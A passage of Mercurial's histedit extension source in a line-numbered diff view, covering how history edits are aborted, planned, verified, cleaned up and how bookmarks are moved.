2101 fm.data(nodechanges=nodechanges)
2101
2102
2102 state.clear()
2103 state.clear()
2103 if os.path.exists(repo.sjoin(b'undo')):
2104 if os.path.exists(repo.sjoin(b'undo')):
2104 os.unlink(repo.sjoin(b'undo'))
2105 os.unlink(repo.sjoin(b'undo'))
2105 if repo.vfs.exists(b'histedit-last-edit.txt'):
2106 if repo.vfs.exists(b'histedit-last-edit.txt'):
2106 repo.vfs.unlink(b'histedit-last-edit.txt')
2107 repo.vfs.unlink(b'histedit-last-edit.txt')
2107
2108
2108
2109
2109 def _aborthistedit(ui, repo, state, nobackup=False):
2110 def _aborthistedit(ui, repo, state, nobackup=False):
2110 try:
2111 try:
2111 state.read()
2112 state.read()
2112 __, leafs, tmpnodes, __ = processreplacement(state)
2113 __, leafs, tmpnodes, __ = processreplacement(state)
2113 ui.debug(b'restore wc to old parent %s\n' % node.short(state.topmost))
2114 ui.debug(b'restore wc to old parent %s\n' % node.short(state.topmost))
2114
2115
2115 # Recover our old commits if necessary
2116 # Recover our old commits if necessary
2116 if not state.topmost in repo and state.backupfile:
2117 if not state.topmost in repo and state.backupfile:
2117 backupfile = repo.vfs.join(state.backupfile)
2118 backupfile = repo.vfs.join(state.backupfile)
2118 f = hg.openpath(ui, backupfile)
2119 f = hg.openpath(ui, backupfile)
2119 gen = exchange.readbundle(ui, f, backupfile)
2120 gen = exchange.readbundle(ui, f, backupfile)
2120 with repo.transaction(b'histedit.abort') as tr:
2121 with repo.transaction(b'histedit.abort') as tr:
2121 bundle2.applybundle(
2122 bundle2.applybundle(
2122 repo,
2123 repo,
2123 gen,
2124 gen,
2124 tr,
2125 tr,
2125 source=b'histedit',
2126 source=b'histedit',
2126 url=b'bundle:' + backupfile,
2127 url=b'bundle:' + backupfile,
2127 )
2128 )
2128
2129
2129 os.remove(backupfile)
2130 os.remove(backupfile)
2130
2131
2131 # check whether we should update away
2132 # check whether we should update away
2132 if repo.unfiltered().revs(
2133 if repo.unfiltered().revs(
2133 b'parents() and (%n or %ln::)',
2134 b'parents() and (%n or %ln::)',
2134 state.parentctxnode,
2135 state.parentctxnode,
2135 leafs | tmpnodes,
2136 leafs | tmpnodes,
2136 ):
2137 ):
2137 hg.clean(repo, state.topmost, show_stats=True, quietempty=True)
2138 hg.clean(repo, state.topmost, show_stats=True, quietempty=True)
2138 cleanupnode(ui, repo, tmpnodes, nobackup=nobackup)
2139 cleanupnode(ui, repo, tmpnodes, nobackup=nobackup)
2139 cleanupnode(ui, repo, leafs, nobackup=nobackup)
2140 cleanupnode(ui, repo, leafs, nobackup=nobackup)
2140 except Exception:
2141 except Exception:
2141 if state.inprogress():
2142 if state.inprogress():
2142 ui.warn(
2143 ui.warn(
2143 _(
2144 _(
2144 b'warning: encountered an exception during histedit '
2145 b'warning: encountered an exception during histedit '
2145 b'--abort; the repository may not have been completely '
2146 b'--abort; the repository may not have been completely '
2146 b'cleaned up\n'
2147 b'cleaned up\n'
2147 )
2148 )
2148 )
2149 )
2149 raise
2150 raise
2150 finally:
2151 finally:
2151 state.clear()
2152 state.clear()
2152
2153
2153
2154
2154 def hgaborthistedit(ui, repo):
2155 def hgaborthistedit(ui, repo):
2155 state = histeditstate(repo)
2156 state = histeditstate(repo)
2156 nobackup = not ui.configbool(b'rewrite', b'backup-bundle')
2157 nobackup = not ui.configbool(b'rewrite', b'backup-bundle')
2157 with repo.wlock() as wlock, repo.lock() as lock:
2158 with repo.wlock() as wlock, repo.lock() as lock:
2158 state.wlock = wlock
2159 state.wlock = wlock
2159 state.lock = lock
2160 state.lock = lock
2160 _aborthistedit(ui, repo, state, nobackup=nobackup)
2161 _aborthistedit(ui, repo, state, nobackup=nobackup)
2161
2162
2162
2163
2163 def _edithisteditplan(ui, repo, state, rules):
2164 def _edithisteditplan(ui, repo, state, rules):
2164 state.read()
2165 state.read()
2165 if not rules:
2166 if not rules:
2166 comment = geteditcomment(
2167 comment = geteditcomment(
2167 ui, node.short(state.parentctxnode), node.short(state.topmost)
2168 ui, node.short(state.parentctxnode), node.short(state.topmost)
2168 )
2169 )
2169 rules = ruleeditor(repo, ui, state.actions, comment)
2170 rules = ruleeditor(repo, ui, state.actions, comment)
2170 else:
2171 else:
2171 rules = _readfile(ui, rules)
2172 rules = _readfile(ui, rules)
2172 actions = parserules(rules, state)
2173 actions = parserules(rules, state)
2173 ctxs = [repo[act.node] for act in state.actions if act.node]
2174 ctxs = [repo[act.node] for act in state.actions if act.node]
2174 warnverifyactions(ui, repo, actions, state, ctxs)
2175 warnverifyactions(ui, repo, actions, state, ctxs)
2175 state.actions = actions
2176 state.actions = actions
2176 state.write()
2177 state.write()
2177
2178
2178
2179
2179 def _newhistedit(ui, repo, state, revs, freeargs, opts):
2180 def _newhistedit(ui, repo, state, revs, freeargs, opts):
2180 outg = opts.get(b'outgoing')
2181 outg = opts.get(b'outgoing')
2181 rules = opts.get(b'commands', b'')
2182 rules = opts.get(b'commands', b'')
2182 force = opts.get(b'force')
2183 force = opts.get(b'force')
2183
2184
2184 cmdutil.checkunfinished(repo)
2185 cmdutil.checkunfinished(repo)
2185 cmdutil.bailifchanged(repo)
2186 cmdutil.bailifchanged(repo)
2186
2187
2187 topmost = repo.dirstate.p1()
2188 topmost = repo.dirstate.p1()
2188 if outg:
2189 if outg:
2189 if freeargs:
2190 if freeargs:
2190 remote = freeargs[0]
2191 remote = freeargs[0]
2191 else:
2192 else:
2192 remote = None
2193 remote = None
2193 root = findoutgoing(ui, repo, remote, force, opts)
2194 root = findoutgoing(ui, repo, remote, force, opts)
2194 else:
2195 else:
2195 rr = list(repo.set(b'roots(%ld)', scmutil.revrange(repo, revs)))
2196 rr = list(repo.set(b'roots(%ld)', scmutil.revrange(repo, revs)))
2196 if len(rr) != 1:
2197 if len(rr) != 1:
2197 raise error.Abort(
2198 raise error.Abort(
2198 _(
2199 _(
2199 b'The specified revisions must have '
2200 b'The specified revisions must have '
2200 b'exactly one common root'
2201 b'exactly one common root'
2201 )
2202 )
2202 )
2203 )
2203 root = rr[0].node()
2204 root = rr[0].node()
2204
2205
2205 revs = between(repo, root, topmost, state.keep)
2206 revs = between(repo, root, topmost, state.keep)
2206 if not revs:
2207 if not revs:
2207 raise error.Abort(
2208 raise error.Abort(
2208 _(b'%s is not an ancestor of working directory') % node.short(root)
2209 _(b'%s is not an ancestor of working directory') % node.short(root)
2209 )
2210 )
2210
2211
2211 ctxs = [repo[r] for r in revs]
2212 ctxs = [repo[r] for r in revs]
2212
2213
2213 wctx = repo[None]
2214 wctx = repo[None]
2214 # Please don't ask me why `ancestors` is this value. I figured it
2215 # Please don't ask me why `ancestors` is this value. I figured it
2215 # out with print-debugging, not by actually understanding what the
2216 # out with print-debugging, not by actually understanding what the
2216 # merge code is doing. :(
2217 # merge code is doing. :(
2217 ancs = [repo[b'.']]
2218 ancs = [repo[b'.']]
2218 # Sniff-test to make sure we won't collide with untracked files in
2219 # Sniff-test to make sure we won't collide with untracked files in
2219 # the working directory. If we don't do this, we can get a
2220 # the working directory. If we don't do this, we can get a
2220 # collision after we've started histedit and backing out gets ugly
2221 # collision after we've started histedit and backing out gets ugly
2221 # for everyone, especially the user.
2222 # for everyone, especially the user.
2222 for c in [ctxs[0].p1()] + ctxs:
2223 for c in [ctxs[0].p1()] + ctxs:
2223 try:
2224 try:
2224 mergemod.calculateupdates(
2225 mergemod.calculateupdates(
2225 repo,
2226 repo,
2226 wctx,
2227 wctx,
2227 c,
2228 c,
2228 ancs,
2229 ancs,
2229 # These parameters were determined by print-debugging
2230 # These parameters were determined by print-debugging
2230 # what happens later on inside histedit.
2231 # what happens later on inside histedit.
2231 branchmerge=False,
2232 branchmerge=False,
2232 force=False,
2233 force=False,
2233 acceptremote=False,
2234 acceptremote=False,
2234 followcopies=False,
2235 followcopies=False,
2235 )
2236 )
2236 except error.Abort:
2237 except error.Abort:
2237 raise error.Abort(
2238 raise error.Abort(
2238 _(
2239 _(
2239 b"untracked files in working directory conflict with files in %s"
2240 b"untracked files in working directory conflict with files in %s"
2240 )
2241 )
2241 % c
2242 % c
2242 )
2243 )
2243
2244
2244 if not rules:
2245 if not rules:
2245 comment = geteditcomment(ui, node.short(root), node.short(topmost))
2246 comment = geteditcomment(ui, node.short(root), node.short(topmost))
2246 actions = [pick(state, r) for r in revs]
2247 actions = [pick(state, r) for r in revs]
2247 rules = ruleeditor(repo, ui, actions, comment)
2248 rules = ruleeditor(repo, ui, actions, comment)
2248 else:
2249 else:
2249 rules = _readfile(ui, rules)
2250 rules = _readfile(ui, rules)
2250 actions = parserules(rules, state)
2251 actions = parserules(rules, state)
2251 warnverifyactions(ui, repo, actions, state, ctxs)
2252 warnverifyactions(ui, repo, actions, state, ctxs)
2252
2253
2253 parentctxnode = repo[root].p1().node()
2254 parentctxnode = repo[root].p1().node()
2254
2255
2255 state.parentctxnode = parentctxnode
2256 state.parentctxnode = parentctxnode
2256 state.actions = actions
2257 state.actions = actions
2257 state.topmost = topmost
2258 state.topmost = topmost
2258 state.replacements = []
2259 state.replacements = []
2259
2260
2260 ui.log(
2261 ui.log(
2261 b"histedit",
2262 b"histedit",
2262 b"%d actions to histedit\n",
2263 b"%d actions to histedit\n",
2263 len(actions),
2264 len(actions),
2264 histedit_num_actions=len(actions),
2265 histedit_num_actions=len(actions),
2265 )
2266 )
2266
2267
2267 # Create a backup so we can always abort completely.
2268 # Create a backup so we can always abort completely.
2268 backupfile = None
2269 backupfile = None
2269 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2270 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2270 backupfile = repair.backupbundle(
2271 backupfile = repair.backupbundle(
2271 repo, [parentctxnode], [topmost], root, b'histedit'
2272 repo, [parentctxnode], [topmost], root, b'histedit'
2272 )
2273 )
2273 state.backupfile = backupfile
2274 state.backupfile = backupfile
2274
2275
2275
2276
2276 def _getsummary(ctx):
2277 def _getsummary(ctx):
2277 # a common pattern is to extract the summary but default to the empty
2278 # a common pattern is to extract the summary but default to the empty
2278 # string
2279 # string
2279 summary = ctx.description() or b''
2280 summary = ctx.description() or b''
2280 if summary:
2281 if summary:
2281 summary = summary.splitlines()[0]
2282 summary = summary.splitlines()[0]
2282 return summary
2283 return summary
2283
2284
2284
2285
2285 def bootstrapcontinue(ui, state, opts):
2286 def bootstrapcontinue(ui, state, opts):
2286 repo = state.repo
2287 repo = state.repo
2287
2288
2288 ms = mergestatemod.mergestate.read(repo)
2289 ms = mergestatemod.mergestate.read(repo)
2289 mergeutil.checkunresolved(ms)
2290 mergeutil.checkunresolved(ms)
2290
2291
2291 if state.actions:
2292 if state.actions:
2292 actobj = state.actions.pop(0)
2293 actobj = state.actions.pop(0)
2293
2294
2294 if _isdirtywc(repo):
2295 if _isdirtywc(repo):
2295 actobj.continuedirty()
2296 actobj.continuedirty()
2296 if _isdirtywc(repo):
2297 if _isdirtywc(repo):
2297 abortdirty()
2298 abortdirty()
2298
2299
2299 parentctx, replacements = actobj.continueclean()
2300 parentctx, replacements = actobj.continueclean()
2300
2301
2301 state.parentctxnode = parentctx.node()
2302 state.parentctxnode = parentctx.node()
2302 state.replacements.extend(replacements)
2303 state.replacements.extend(replacements)
2303
2304
2304 return state
2305 return state
2305
2306
2306
2307
2307 def between(repo, old, new, keep):
2308 def between(repo, old, new, keep):
2308 """select and validate the set of revision to edit
2309 """select and validate the set of revision to edit
2309
2310
2310 When keep is false, the specified set can't have children."""
2311 When keep is false, the specified set can't have children."""
2311 revs = repo.revs(b'%n::%n', old, new)
2312 revs = repo.revs(b'%n::%n', old, new)
2312 if revs and not keep:
2313 if revs and not keep:
2313 rewriteutil.precheck(repo, revs, b'edit')
2314 rewriteutil.precheck(repo, revs, b'edit')
2314 if repo.revs(b'(%ld) and merge()', revs):
2315 if repo.revs(b'(%ld) and merge()', revs):
2315 raise error.Abort(_(b'cannot edit history that contains merges'))
2316 raise error.Abort(_(b'cannot edit history that contains merges'))
2316 return pycompat.maplist(repo.changelog.node, revs)
2317 return pycompat.maplist(repo.changelog.node, revs)
2317
2318
2318
2319
2319 def ruleeditor(repo, ui, actions, editcomment=b""):
2320 def ruleeditor(repo, ui, actions, editcomment=b""):
2320 """open an editor to edit rules
2321 """open an editor to edit rules
2321
2322
2322 rules are in the format [ [act, ctx], ...] like in state.rules
2323 rules are in the format [ [act, ctx], ...] like in state.rules
2323 """
2324 """
2324 if repo.ui.configbool(b"experimental", b"histedit.autoverb"):
2325 if repo.ui.configbool(b"experimental", b"histedit.autoverb"):
2325 newact = util.sortdict()
2326 newact = util.sortdict()
2326 for act in actions:
2327 for act in actions:
2327 ctx = repo[act.node]
2328 ctx = repo[act.node]
2328 summary = _getsummary(ctx)
2329 summary = _getsummary(ctx)
2329 fword = summary.split(b' ', 1)[0].lower()
2330 fword = summary.split(b' ', 1)[0].lower()
2330 added = False
2331 added = False
2331
2332
2332 # if it doesn't end with the special character '!' just skip this
2333 # if it doesn't end with the special character '!' just skip this
2333 if fword.endswith(b'!'):
2334 if fword.endswith(b'!'):
2334 fword = fword[:-1]
2335 fword = fword[:-1]
2335 if fword in primaryactions | secondaryactions | tertiaryactions:
2336 if fword in primaryactions | secondaryactions | tertiaryactions:
2336 act.verb = fword
2337 act.verb = fword
2337 # get the target summary
2338 # get the target summary
2338 tsum = summary[len(fword) + 1 :].lstrip()
2339 tsum = summary[len(fword) + 1 :].lstrip()
2339 # safe but slow: reverse iterate over the actions so we
2340 # safe but slow: reverse iterate over the actions so we
2340 # don't clash on two commits having the same summary
2341 # don't clash on two commits having the same summary
2341 for na, l in reversed(list(pycompat.iteritems(newact))):
2342 for na, l in reversed(list(pycompat.iteritems(newact))):
2342 actx = repo[na.node]
2343 actx = repo[na.node]
2343 asum = _getsummary(actx)
2344 asum = _getsummary(actx)
2344 if asum == tsum:
2345 if asum == tsum:
2345 added = True
2346 added = True
2346 l.append(act)
2347 l.append(act)
2347 break
2348 break
2348
2349
2349 if not added:
2350 if not added:
2350 newact[act] = []
2351 newact[act] = []
2351
2352
2352 # copy over and flatten the new list
2353 # copy over and flatten the new list
2353 actions = []
2354 actions = []
2354 for na, l in pycompat.iteritems(newact):
2355 for na, l in pycompat.iteritems(newact):
2355 actions.append(na)
2356 actions.append(na)
2356 actions += l
2357 actions += l
2357
2358
2358 rules = b'\n'.join([act.torule() for act in actions])
2359 rules = b'\n'.join([act.torule() for act in actions])
2359 rules += b'\n\n'
2360 rules += b'\n\n'
2360 rules += editcomment
2361 rules += editcomment
2361 rules = ui.edit(
2362 rules = ui.edit(
2362 rules,
2363 rules,
2363 ui.username(),
2364 ui.username(),
2364 {b'prefix': b'histedit'},
2365 {b'prefix': b'histedit'},
2365 repopath=repo.path,
2366 repopath=repo.path,
2366 action=b'histedit',
2367 action=b'histedit',
2367 )
2368 )
2368
2369
2369 # Save edit rules in .hg/histedit-last-edit.txt in case
2370 # Save edit rules in .hg/histedit-last-edit.txt in case
2370 # the user needs to ask for help after something
2371 # the user needs to ask for help after something
2371 # surprising happens.
2372 # surprising happens.
2372 with repo.vfs(b'histedit-last-edit.txt', b'wb') as f:
2373 with repo.vfs(b'histedit-last-edit.txt', b'wb') as f:
2373 f.write(rules)
2374 f.write(rules)
2374
2375
2375 return rules
2376 return rules
2376
2377
2377
2378
2378 def parserules(rules, state):
2379 def parserules(rules, state):
2379 """Read the histedit rules string and return list of action objects """
2380 """Read the histedit rules string and return list of action objects """
2380 rules = [
2381 rules = [
2381 l
2382 l
2382 for l in (r.strip() for r in rules.splitlines())
2383 for l in (r.strip() for r in rules.splitlines())
2383 if l and not l.startswith(b'#')
2384 if l and not l.startswith(b'#')
2384 ]
2385 ]
2385 actions = []
2386 actions = []
2386 for r in rules:
2387 for r in rules:
2387 if b' ' not in r:
2388 if b' ' not in r:
2388 raise error.ParseError(_(b'malformed line "%s"') % r)
2389 raise error.ParseError(_(b'malformed line "%s"') % r)
2389 verb, rest = r.split(b' ', 1)
2390 verb, rest = r.split(b' ', 1)
2390
2391
2391 if verb not in actiontable:
2392 if verb not in actiontable:
2392 raise error.ParseError(_(b'unknown action "%s"') % verb)
2393 raise error.ParseError(_(b'unknown action "%s"') % verb)
2393
2394
2394 action = actiontable[verb].fromrule(state, rest)
2395 action = actiontable[verb].fromrule(state, rest)
2395 actions.append(action)
2396 actions.append(action)
2396 return actions
2397 return actions
2397
2398
2398
2399
2399 def warnverifyactions(ui, repo, actions, state, ctxs):
2400 def warnverifyactions(ui, repo, actions, state, ctxs):
2400 try:
2401 try:
2401 verifyactions(actions, state, ctxs)
2402 verifyactions(actions, state, ctxs)
2402 except error.ParseError:
2403 except error.ParseError:
2403 if repo.vfs.exists(b'histedit-last-edit.txt'):
2404 if repo.vfs.exists(b'histedit-last-edit.txt'):
2404 ui.warn(
2405 ui.warn(
2405 _(
2406 _(
2406 b'warning: histedit rules saved '
2407 b'warning: histedit rules saved '
2407 b'to: .hg/histedit-last-edit.txt\n'
2408 b'to: .hg/histedit-last-edit.txt\n'
2408 )
2409 )
2409 )
2410 )
2410 raise
2411 raise
2411
2412
2412
2413
2413 def verifyactions(actions, state, ctxs):
2414 def verifyactions(actions, state, ctxs):
2414 """Verify that there exists exactly one action per given changeset and
2415 """Verify that there exists exactly one action per given changeset and
2415 other constraints.
2416 other constraints.
2416
2417
2417 Will abort if there are to many or too few rules, a malformed rule,
2418 Will abort if there are to many or too few rules, a malformed rule,
2418 or a rule on a changeset outside of the user-given range.
2419 or a rule on a changeset outside of the user-given range.
2419 """
2420 """
2420 expected = {c.node() for c in ctxs}
2421 expected = {c.node() for c in ctxs}
2421 seen = set()
2422 seen = set()
2422 prev = None
2423 prev = None
2423
2424
2424 if actions and actions[0].verb in [b'roll', b'fold']:
2425 if actions and actions[0].verb in [b'roll', b'fold']:
2425 raise error.ParseError(
2426 raise error.ParseError(
2426 _(b'first changeset cannot use verb "%s"') % actions[0].verb
2427 _(b'first changeset cannot use verb "%s"') % actions[0].verb
2427 )
2428 )
2428
2429
2429 for action in actions:
2430 for action in actions:
2430 action.verify(prev, expected, seen)
2431 action.verify(prev, expected, seen)
2431 prev = action
2432 prev = action
2432 if action.node is not None:
2433 if action.node is not None:
2433 seen.add(action.node)
2434 seen.add(action.node)
2434 missing = sorted(expected - seen) # sort to stabilize output
2435 missing = sorted(expected - seen) # sort to stabilize output
2435
2436
2436 if state.repo.ui.configbool(b'histedit', b'dropmissing'):
2437 if state.repo.ui.configbool(b'histedit', b'dropmissing'):
2437 if len(actions) == 0:
2438 if len(actions) == 0:
2438 raise error.ParseError(
2439 raise error.ParseError(
2439 _(b'no rules provided'),
2440 _(b'no rules provided'),
2440 hint=_(b'use strip extension to remove commits'),
2441 hint=_(b'use strip extension to remove commits'),
2441 )
2442 )
2442
2443
2443 drops = [drop(state, n) for n in missing]
2444 drops = [drop(state, n) for n in missing]
2444 # put the in the beginning so they execute immediately and
2445 # put the in the beginning so they execute immediately and
2445 # don't show in the edit-plan in the future
2446 # don't show in the edit-plan in the future
2446 actions[:0] = drops
2447 actions[:0] = drops
2447 elif missing:
2448 elif missing:
2448 raise error.ParseError(
2449 raise error.ParseError(
2449 _(b'missing rules for changeset %s') % node.short(missing[0]),
2450 _(b'missing rules for changeset %s') % node.short(missing[0]),
2450 hint=_(
2451 hint=_(
2451 b'use "drop %s" to discard, see also: '
2452 b'use "drop %s" to discard, see also: '
2452 b"'hg help -e histedit.config'"
2453 b"'hg help -e histedit.config'"
2453 )
2454 )
2454 % node.short(missing[0]),
2455 % node.short(missing[0]),
2455 )
2456 )
2456
2457
2457
2458
2458 def adjustreplacementsfrommarkers(repo, oldreplacements):
2459 def adjustreplacementsfrommarkers(repo, oldreplacements):
2459 """Adjust replacements from obsolescence markers
2460 """Adjust replacements from obsolescence markers
2460
2461
2461 Replacements structure is originally generated based on
2462 Replacements structure is originally generated based on
2462 histedit's state and does not account for changes that are
2463 histedit's state and does not account for changes that are
2463 not recorded there. This function fixes that by adding
2464 not recorded there. This function fixes that by adding
2464 data read from obsolescence markers"""
2465 data read from obsolescence markers"""
2465 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2466 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2466 return oldreplacements
2467 return oldreplacements
2467
2468
2468 unfi = repo.unfiltered()
2469 unfi = repo.unfiltered()
2469 get_rev = unfi.changelog.index.get_rev
2470 get_rev = unfi.changelog.index.get_rev
2470 obsstore = repo.obsstore
2471 obsstore = repo.obsstore
2471 newreplacements = list(oldreplacements)
2472 newreplacements = list(oldreplacements)
2472 oldsuccs = [r[1] for r in oldreplacements]
2473 oldsuccs = [r[1] for r in oldreplacements]
2473 # successors that have already been added to succstocheck once
2474 # successors that have already been added to succstocheck once
2474 seensuccs = set().union(
2475 seensuccs = set().union(
2475 *oldsuccs
2476 *oldsuccs
2476 ) # create a set from an iterable of tuples
2477 ) # create a set from an iterable of tuples
2477 succstocheck = list(seensuccs)
2478 succstocheck = list(seensuccs)
2478 while succstocheck:
2479 while succstocheck:
2479 n = succstocheck.pop()
2480 n = succstocheck.pop()
2480 missing = get_rev(n) is None
2481 missing = get_rev(n) is None
2481 markers = obsstore.successors.get(n, ())
2482 markers = obsstore.successors.get(n, ())
2482 if missing and not markers:
2483 if missing and not markers:
2483 # dead end, mark it as such
2484 # dead end, mark it as such
2484 newreplacements.append((n, ()))
2485 newreplacements.append((n, ()))
2485 for marker in markers:
2486 for marker in markers:
2486 nsuccs = marker[1]
2487 nsuccs = marker[1]
2487 newreplacements.append((n, nsuccs))
2488 newreplacements.append((n, nsuccs))
2488 for nsucc in nsuccs:
2489 for nsucc in nsuccs:
2489 if nsucc not in seensuccs:
2490 if nsucc not in seensuccs:
2490 seensuccs.add(nsucc)
2491 seensuccs.add(nsucc)
2491 succstocheck.append(nsucc)
2492 succstocheck.append(nsucc)
2492
2493
2493 return newreplacements
2494 return newreplacements
2494
2495
2495
2496
2496 def processreplacement(state):
2497 def processreplacement(state):
2497 """process the list of replacements to return
2498 """process the list of replacements to return
2498
2499
2499 1) the final mapping between original and created nodes
2500 1) the final mapping between original and created nodes
2500 2) the list of temporary node created by histedit
2501 2) the list of temporary node created by histedit
2501 3) the list of new commit created by histedit"""
2502 3) the list of new commit created by histedit"""
2502 replacements = adjustreplacementsfrommarkers(state.repo, state.replacements)
2503 replacements = adjustreplacementsfrommarkers(state.repo, state.replacements)
2503 allsuccs = set()
2504 allsuccs = set()
2504 replaced = set()
2505 replaced = set()
2505 fullmapping = {}
2506 fullmapping = {}
2506 # initialize basic set
2507 # initialize basic set
2507 # fullmapping records all operations recorded in replacement
2508 # fullmapping records all operations recorded in replacement
2508 for rep in replacements:
2509 for rep in replacements:
2509 allsuccs.update(rep[1])
2510 allsuccs.update(rep[1])
2510 replaced.add(rep[0])
2511 replaced.add(rep[0])
2511 fullmapping.setdefault(rep[0], set()).update(rep[1])
2512 fullmapping.setdefault(rep[0], set()).update(rep[1])
2512 new = allsuccs - replaced
2513 new = allsuccs - replaced
2513 tmpnodes = allsuccs & replaced
2514 tmpnodes = allsuccs & replaced
2514 # Reduce content fullmapping into direct relation between original nodes
2515 # Reduce content fullmapping into direct relation between original nodes
2515 # and final node created during history edition
2516 # and final node created during history edition
2516 # Dropped changeset are replaced by an empty list
2517 # Dropped changeset are replaced by an empty list
2517 toproceed = set(fullmapping)
2518 toproceed = set(fullmapping)
2518 final = {}
2519 final = {}
2519 while toproceed:
2520 while toproceed:
2520 for x in list(toproceed):
2521 for x in list(toproceed):
2521 succs = fullmapping[x]
2522 succs = fullmapping[x]
2522 for s in list(succs):
2523 for s in list(succs):
2523 if s in toproceed:
2524 if s in toproceed:
2524 # non final node with unknown closure
2525 # non final node with unknown closure
2525 # We can't process this now
2526 # We can't process this now
2526 break
2527 break
2527 elif s in final:
2528 elif s in final:
2528 # non final node, replace with closure
2529 # non final node, replace with closure
2529 succs.remove(s)
2530 succs.remove(s)
2530 succs.update(final[s])
2531 succs.update(final[s])
2531 else:
2532 else:
2532 final[x] = succs
2533 final[x] = succs
2533 toproceed.remove(x)
2534 toproceed.remove(x)
2534 # remove tmpnodes from final mapping
2535 # remove tmpnodes from final mapping
2535 for n in tmpnodes:
2536 for n in tmpnodes:
2536 del final[n]
2537 del final[n]
2537 # we expect all changes involved in final to exist in the repo
2538 # we expect all changes involved in final to exist in the repo
2538 # turn `final` into list (topologically sorted)
2539 # turn `final` into list (topologically sorted)
2539 get_rev = state.repo.changelog.index.get_rev
2540 get_rev = state.repo.changelog.index.get_rev
2540 for prec, succs in final.items():
2541 for prec, succs in final.items():
2541 final[prec] = sorted(succs, key=get_rev)
2542 final[prec] = sorted(succs, key=get_rev)
2542
2543
2543 # computed topmost element (necessary for bookmark)
2544 # computed topmost element (necessary for bookmark)
2544 if new:
2545 if new:
2545 newtopmost = sorted(new, key=state.repo.changelog.rev)[-1]
2546 newtopmost = sorted(new, key=state.repo.changelog.rev)[-1]
2546 elif not final:
2547 elif not final:
2547 # Nothing rewritten at all. we won't need `newtopmost`
2548 # Nothing rewritten at all. we won't need `newtopmost`
2548 # It is the same as `oldtopmost` and `processreplacement` know it
2549 # It is the same as `oldtopmost` and `processreplacement` know it
2549 newtopmost = None
2550 newtopmost = None
2550 else:
2551 else:
2551 # every body died. The newtopmost is the parent of the root.
2552 # every body died. The newtopmost is the parent of the root.
2552 r = state.repo.changelog.rev
2553 r = state.repo.changelog.rev
2553 newtopmost = state.repo[sorted(final, key=r)[0]].p1().node()
2554 newtopmost = state.repo[sorted(final, key=r)[0]].p1().node()
2554
2555
2555 return final, tmpnodes, new, newtopmost
2556 return final, tmpnodes, new, newtopmost
2556
2557
2557
2558
2558 def movetopmostbookmarks(repo, oldtopmost, newtopmost):
2559 def movetopmostbookmarks(repo, oldtopmost, newtopmost):
2559 """Move bookmark from oldtopmost to newly created topmost
2560 """Move bookmark from oldtopmost to newly created topmost
2560
2561
2561 This is arguably a feature and we may only want that for the active
2562 This is arguably a feature and we may only want that for the active
2562 bookmark. But the behavior is kept compatible with the old version for now.
2563 bookmark. But the behavior is kept compatible with the old version for now.
2563 """
2564 """
2564 if not oldtopmost or not newtopmost:
2565 if not oldtopmost or not newtopmost:
2565 return
2566 return
2566 oldbmarks = repo.nodebookmarks(oldtopmost)
2567 oldbmarks = repo.nodebookmarks(oldtopmost)
2567 if oldbmarks:
2568 if oldbmarks:
2568 with repo.lock(), repo.transaction(b'histedit') as tr:
2569 with repo.lock(), repo.transaction(b'histedit') as tr:
2569 marks = repo._bookmarks
2570 marks = repo._bookmarks
2570 changes = []
2571 changes = []
2571 for name in oldbmarks:
2572 for name in oldbmarks:
2572 changes.append((name, newtopmost))
2573 changes.append((name, newtopmost))
2573 marks.applychanges(repo, tr, changes)
2574 marks.applychanges(repo, tr, changes)
2574
2575
2575
2576
2576 def cleanupnode(ui, repo, nodes, nobackup=False):
2577 def cleanupnode(ui, repo, nodes, nobackup=False):
2577 """strip a group of nodes from the repository
2578 """strip a group of nodes from the repository
2578
2579
2579 The set of node to strip may contains unknown nodes."""
2580 The set of node to strip may contains unknown nodes."""
2580 with repo.lock():
2581 with repo.lock():
2581 # do not let filtering get in the way of the cleanse
2582 # do not let filtering get in the way of the cleanse
2582 # we should probably get rid of obsolescence marker created during the
2583 # we should probably get rid of obsolescence marker created during the
2583 # histedit, but we currently do not have such information.
2584 # histedit, but we currently do not have such information.
2584 repo = repo.unfiltered()
2585 repo = repo.unfiltered()
2585 # Find all nodes that need to be stripped
2586 # Find all nodes that need to be stripped
2586 # (we use %lr instead of %ln to silently ignore unknown items)
2587 # (we use %lr instead of %ln to silently ignore unknown items)
2587 has_node = repo.changelog.index.has_node
2588 has_node = repo.changelog.index.has_node
2588 nodes = sorted(n for n in nodes if has_node(n))
2589 nodes = sorted(n for n in nodes if has_node(n))
2589 roots = [c.node() for c in repo.set(b"roots(%ln)", nodes)]
2590 roots = [c.node() for c in repo.set(b"roots(%ln)", nodes)]
2590 if roots:
2591 if roots:
2591 backup = not nobackup
2592 backup = not nobackup
2592 repair.strip(ui, repo, roots, backup=backup)
2593 repair.strip(ui, repo, roots, backup=backup)
2593
2594
2594
2595
2595 def stripwrapper(orig, ui, repo, nodelist, *args, **kwargs):
2596 def stripwrapper(orig, ui, repo, nodelist, *args, **kwargs):
2596 if isinstance(nodelist, bytes):
2597 if isinstance(nodelist, bytes):
2597 nodelist = [nodelist]
2598 nodelist = [nodelist]
2598 state = histeditstate(repo)
2599 state = histeditstate(repo)
2599 if state.inprogress():
2600 if state.inprogress():
2600 state.read()
2601 state.read()
2601 histedit_nodes = {
2602 histedit_nodes = {
2602 action.node for action in state.actions if action.node
2603 action.node for action in state.actions if action.node
2603 }
2604 }
2604 common_nodes = histedit_nodes & set(nodelist)
2605 common_nodes = histedit_nodes & set(nodelist)
2605 if common_nodes:
2606 if common_nodes:
2606 raise error.Abort(
2607 raise error.Abort(
2607 _(b"histedit in progress, can't strip %s")
2608 _(b"histedit in progress, can't strip %s")
2608 % b', '.join(node.short(x) for x in common_nodes)
2609 % b', '.join(node.short(x) for x in common_nodes)
2609 )
2610 )
2610 return orig(ui, repo, nodelist, *args, **kwargs)
2611 return orig(ui, repo, nodelist, *args, **kwargs)
2611
2612
2612
2613
2613 extensions.wrapfunction(repair, b'strip', stripwrapper)
2614 extensions.wrapfunction(repair, b'strip', stripwrapper)
2614
2615
2615
2616
2616 def summaryhook(ui, repo):
2617 def summaryhook(ui, repo):
2617 state = histeditstate(repo)
2618 state = histeditstate(repo)
2618 if not state.inprogress():
2619 if not state.inprogress():
2619 return
2620 return
2620 state.read()
2621 state.read()
2621 if state.actions:
2622 if state.actions:
2622 # i18n: column positioning for "hg summary"
2623 # i18n: column positioning for "hg summary"
